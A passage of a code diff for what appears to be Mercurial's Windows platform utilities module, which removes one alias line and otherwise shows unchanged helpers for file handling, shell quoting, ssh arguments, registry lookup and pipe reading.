 except ImportError:
     import winreg
 
 osutil = policy.importmod(r'osutil')
 
-executablepath = win32.executablepath
 getfsmountpoint = win32.getvolumename
 getfstype = win32.getfstype
 getuser = win32.getuser
 hidewindow = win32.hidewindow
 makedir = win32.makedir
 nlinks = win32.nlinks
 oslink = win32.oslink
 samedevice = win32.samedevice
 samefile = win32.samefile
 setsignalhandler = win32.setsignalhandler
 spawndetached = win32.spawndetached
 split = os.path.split
 testpid = win32.testpid
 unlink = win32.unlink
 
 umask = 0o022
 
 class mixedfilemodewrapper(object):
     """Wraps a file handle when it is opened in read/write mode.
 
     fopen() and fdopen() on Windows have a specific-to-Windows requirement
     that files opened with mode r+, w+, or a+ make a call to a file positioning
     function when switching between reads and writes. Without this extra call,
     Python will raise a not very intuitive "IOError: [Errno 0] Error."
 
     This class wraps posixfile instances when the file is opened in read/write
     mode and automatically adds checks or inserts appropriate file positioning
     calls when necessary.
     """
     OPNONE = 0
     OPREAD = 1
     OPWRITE = 2
 
     def __init__(self, fp):
         object.__setattr__(self, r'_fp', fp)
         object.__setattr__(self, r'_lastop', 0)
 
     def __enter__(self):
         return self._fp.__enter__()
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         self._fp.__exit__(exc_type, exc_val, exc_tb)
 
     def __getattr__(self, name):
         return getattr(self._fp, name)
 
     def __setattr__(self, name, value):
         return self._fp.__setattr__(name, value)
 
     def _noopseek(self):
         self._fp.seek(0, os.SEEK_CUR)
 
     def seek(self, *args, **kwargs):
         object.__setattr__(self, r'_lastop', self.OPNONE)
         return self._fp.seek(*args, **kwargs)
 
     def write(self, d):
         if self._lastop == self.OPREAD:
             self._noopseek()
 
         object.__setattr__(self, r'_lastop', self.OPWRITE)
         return self._fp.write(d)
 
     def writelines(self, *args, **kwargs):
         if self._lastop == self.OPREAD:
             self._noopeseek()
 
         object.__setattr__(self, r'_lastop', self.OPWRITE)
         return self._fp.writelines(*args, **kwargs)
 
     def read(self, *args, **kwargs):
         if self._lastop == self.OPWRITE:
             self._noopseek()
 
         object.__setattr__(self, r'_lastop', self.OPREAD)
         return self._fp.read(*args, **kwargs)
 
     def readline(self, *args, **kwargs):
         if self._lastop == self.OPWRITE:
             self._noopseek()
 
         object.__setattr__(self, r'_lastop', self.OPREAD)
         return self._fp.readline(*args, **kwargs)
 
     def readlines(self, *args, **kwargs):
         if self._lastop == self.OPWRITE:
             self._noopseek()
 
         object.__setattr__(self, r'_lastop', self.OPREAD)
         return self._fp.readlines(*args, **kwargs)
 
 def posixfile(name, mode='r', buffering=-1):
     '''Open a file with even more POSIX-like semantics'''
     try:
         fp = osutil.posixfile(name, mode, buffering) # may raise WindowsError
 
         # The position when opening in append mode is implementation defined, so
         # make it consistent with other platforms, which position at EOF.
         if 'a' in mode:
             fp.seek(0, os.SEEK_END)
 
         if '+' in mode:
             return mixedfilemodewrapper(fp)
 
         return fp
     except WindowsError as err:
         # convert to a friendlier exception
         raise IOError(err.errno, '%s: %s' % (
             name, encoding.strtolocal(err.strerror)))
 
 # may be wrapped by win32mbcs extension
 listdir = osutil.listdir
 
 class winstdout(object):
     '''stdout on windows misbehaves if sent through a pipe'''
 
     def __init__(self, fp):
         self.fp = fp
 
     def __getattr__(self, key):
         return getattr(self.fp, key)
 
     def close(self):
         try:
             self.fp.close()
         except IOError:
             pass
 
     def write(self, s):
         try:
             # This is workaround for "Not enough space" error on
             # writing large size of data to console.
             limit = 16000
             l = len(s)
             start = 0
             self.softspace = 0
             while start < l:
                 end = start + limit
                 self.fp.write(s[start:end])
                 start = end
         except IOError as inst:
             if inst.errno != 0:
                 raise
             self.close()
             raise IOError(errno.EPIPE, 'Broken pipe')
 
     def flush(self):
         try:
             return self.fp.flush()
         except IOError as inst:
             if inst.errno != errno.EINVAL:
                 raise
             raise IOError(errno.EPIPE, 'Broken pipe')
 
 def _is_win_9x():
     '''return true if run on windows 95, 98 or me.'''
     try:
         return sys.getwindowsversion()[3] == 1
     except AttributeError:
         return 'command' in encoding.environ.get('comspec', '')
 
 def openhardlinks():
     return not _is_win_9x()
 
 def parsepatchoutput(output_line):
     """parses the output produced by patch and returns the filename"""
     pf = output_line[14:]
     if pf[0] == '`':
         pf = pf[1:-1] # Remove the quotes
     return pf
 
 def sshargs(sshcmd, host, user, port):
     '''Build argument list for ssh or Plink'''
     pflag = 'plink' in sshcmd.lower() and '-P' or '-p'
     args = user and ("%s@%s" % (user, host)) or host
     if args.startswith('-') or args.startswith('/'):
         raise error.Abort(
             _('illegal ssh hostname or username starting with - or /: %s') %
             args)
     args = shellquote(args)
     if port:
         args = '%s %s %s' % (pflag, shellquote(port), args)
     return args
 
 def setflags(f, l, x):
     pass
 
 def copymode(src, dst, mode=None):
     pass
 
 def checkexec(path):
     return False
 
 def checklink(path):
     return False
 
 def setbinary(fd):
     # When run without console, pipes may expose invalid
     # fileno(), usually set to -1.
     fno = getattr(fd, 'fileno', None)
     if fno is not None and fno() >= 0:
         msvcrt.setmode(fno(), os.O_BINARY)
 
 def pconvert(path):
     return path.replace(pycompat.ossep, '/')
 
 def localpath(path):
     return path.replace('/', '\\')
 
 def normpath(path):
     return pconvert(os.path.normpath(path))
 
 def normcase(path):
     return encoding.upper(path) # NTFS compares via upper()
 
 # see posix.py for definitions
 normcasespec = encoding.normcasespecs.upper
 normcasefallback = encoding.upperfallback
 
 def samestat(s1, s2):
     return False
 
 # A sequence of backslashes is special iff it precedes a double quote:
 # - if there's an even number of backslashes, the double quote is not
 #   quoted (i.e. it ends the quoted region)
 # - if there's an odd number of backslashes, the double quote is quoted
 # - in both cases, every pair of backslashes is unquoted into a single
 #   backslash
 # (See http://msdn2.microsoft.com/en-us/library/a1y7w461.aspx )
 # So, to quote a string, we must surround it in double quotes, double
 # the number of backslashes that precede double quotes and add another
 # backslash before every double quote (being careful with the double
 # quote we've appended to the end)
 _quotere = None
 _needsshellquote = None
 def shellquote(s):
     r"""
     >>> shellquote(br'C:\Users\xyz')
     '"C:\\Users\\xyz"'
     >>> shellquote(br'C:\Users\xyz/mixed')
     '"C:\\Users\\xyz/mixed"'
     >>> # Would be safe not to quote too, since it is all double backslashes
     >>> shellquote(br'C:\\Users\\xyz')
     '"C:\\\\Users\\\\xyz"'
     >>> # But this must be quoted
     >>> shellquote(br'C:\\Users\\xyz/abc')
     '"C:\\\\Users\\\\xyz/abc"'
     """
     global _quotere
     if _quotere is None:
         _quotere = re.compile(r'(\\*)("|\\$)')
     global _needsshellquote
     if _needsshellquote is None:
         # ":" is also treated as "safe character", because it is used as a part
         # of path name on Windows.  "\" is also part of a path name, but isn't
         # safe because shlex.split() (kind of) treats it as an escape char and
         # drops it.  It will leave the next character, even if it is another
         # "\".
         _needsshellquote = re.compile(r'[^a-zA-Z0-9._:/-]').search
     if s and not _needsshellquote(s) and not _quotere.search(s):
         # "s" shouldn't have to be quoted
         return s
     return '"%s"' % _quotere.sub(r'\1\1\\\2', s)
 
 def _unquote(s):
     if s.startswith(b'"') and s.endswith(b'"'):
         return s[1:-1]
     return s
 
 def shellsplit(s):
     """Parse a command string in cmd.exe way (best-effort)"""
     return pycompat.maplist(_unquote, pycompat.shlexsplit(s, posix=False))
 
 def quotecommand(cmd):
     """Build a command string suitable for os.popen* calls."""
     if sys.version_info < (2, 7, 1):
         # Python versions since 2.7.1 do this extra quoting themselves
         return '"' + cmd + '"'
     return cmd
 
 def popen(command, mode='r'):
     # Work around "popen spawned process may not write to stdout
     # under windows"
     # http://bugs.python.org/issue1366
     command += " 2> %s" % pycompat.bytestr(os.devnull)
     return os.popen(quotecommand(command), mode)
 
 def explainexit(code):
     return _("exited with status %d") % code, code
 
 # if you change this stub into a real check, please try to implement the
 # username and groupname functions above, too.
 def isowner(st):
     return True
 
 def findexe(command):
     '''Find executable for command searching like cmd.exe does.
     If command is a basename then PATH is searched for command.
     PATH isn't searched if command is an absolute or relative path.
     An extension from PATHEXT is found and added if not present.
     If command isn't found None is returned.'''
     pathext = encoding.environ.get('PATHEXT', '.COM;.EXE;.BAT;.CMD')
     pathexts = [ext for ext in pathext.lower().split(pycompat.ospathsep)]
     if os.path.splitext(command)[1].lower() in pathexts:
         pathexts = ['']
 
     def findexisting(pathcommand):
         'Will append extension (if needed) and return existing file'
         for ext in pathexts:
             executable = pathcommand + ext
             if os.path.exists(executable):
                 return executable
         return None
 
     if pycompat.ossep in command:
         return findexisting(command)
 
     for path in encoding.environ.get('PATH', '').split(pycompat.ospathsep):
         executable = findexisting(os.path.join(path, command))
         if executable is not None:
             return executable
     return findexisting(os.path.expanduser(os.path.expandvars(command)))
 
 _wantedkinds = {stat.S_IFREG, stat.S_IFLNK}
 
 def statfiles(files):
     '''Stat each file in files. Yield each stat, or None if a file
     does not exist or has a type we don't care about.
 
     Cluster and cache stat per directory to minimize number of OS stat calls.'''
     dircache = {} # dirname -> filename -> status | None if file does not exist
     getkind = stat.S_IFMT
     for nf in files:
         nf  = normcase(nf)
         dir, base = os.path.split(nf)
         if not dir:
             dir = '.'
         cache = dircache.get(dir, None)
         if cache is None:
             try:
                 dmap = dict([(normcase(n), s)
                              for n, k, s in listdir(dir, True)
                              if getkind(s.st_mode) in _wantedkinds])
             except OSError as err:
                 # Python >= 2.5 returns ENOENT and adds winerror field
                 # EINVAL is raised if dir is not a directory.
                 if err.errno not in (errno.ENOENT, errno.EINVAL,
                                      errno.ENOTDIR):
                     raise
                 dmap = {}
             cache = dircache.setdefault(dir, dmap)
         yield cache.get(base, None)
 
 def username(uid=None):
     """Return the name of the user with the given uid.
 
     If uid is None, return the name of the current user."""
     return None
 
 def groupname(gid=None):
     """Return the name of the group with the given gid.
 
     If gid is None, return the name of the current group."""
     return None
 
 def removedirs(name):
     """special version of os.removedirs that does not remove symlinked
     directories or junction points if they actually contain files"""
     if listdir(name):
         return
     os.rmdir(name)
     head, tail = os.path.split(name)
     if not tail:
         head, tail = os.path.split(head)
     while head and tail:
         try:
             if listdir(head):
                 return
             os.rmdir(head)
         except (ValueError, OSError):
             break
         head, tail = os.path.split(head)
 
 def rename(src, dst):
     '''atomically rename file src to dst, replacing dst if it exists'''
     try:
         os.rename(src, dst)
     except OSError as e:
         if e.errno != errno.EEXIST:
             raise
         unlink(dst)
         os.rename(src, dst)
 
 def gethgcmd():
     return [sys.executable] + sys.argv[:1]
 
 def groupmembers(name):
     # Don't support groups on Windows for now
     raise KeyError
 
 def isexec(f):
     return False
 
 class cachestat(object):
     def __init__(self, path):
         pass
 
     def cacheable(self):
         return False
 
 def lookupreg(key, valname=None, scope=None):
     ''' Look up a key/value name in the Windows registry.
 
     valname: value name. If unspecified, the default value for the key
     is used.
     scope: optionally specify scope for registry lookup, this can be
     a sequence of scopes to look up in order. Default (CURRENT_USER,
     LOCAL_MACHINE).
     '''
     if scope is None:
         scope = (winreg.HKEY_CURRENT_USER, winreg.HKEY_LOCAL_MACHINE)
     elif not isinstance(scope, (list, tuple)):
         scope = (scope,)
     for s in scope:
         try:
             val = winreg.QueryValueEx(winreg.OpenKey(s, key), valname)[0]
             # never let a Unicode string escape into the wild
             return encoding.unitolocal(val)
         except EnvironmentError:
             pass
 
 expandglobs = True
 
 def statislink(st):
     '''check whether a stat result is a symlink'''
     return False
 
 def statisexec(st):
     '''check whether a stat result is an executable file'''
     return False
 
 def poll(fds):
     # see posix.py for description
     raise NotImplementedError()
 
 def readpipe(pipe):
     """Read all available data from a pipe."""
     chunks = []
     while True:
         size = win32.peekpipe(pipe)
         if not size:
             break
 
         s = pipe.read(size)
         if not s:
             break
         chunks.append(s)
 
     return ''.join(chunks)
 
 def bindunixsocket(sock, path):
     raise NotImplementedError('unsupported platform')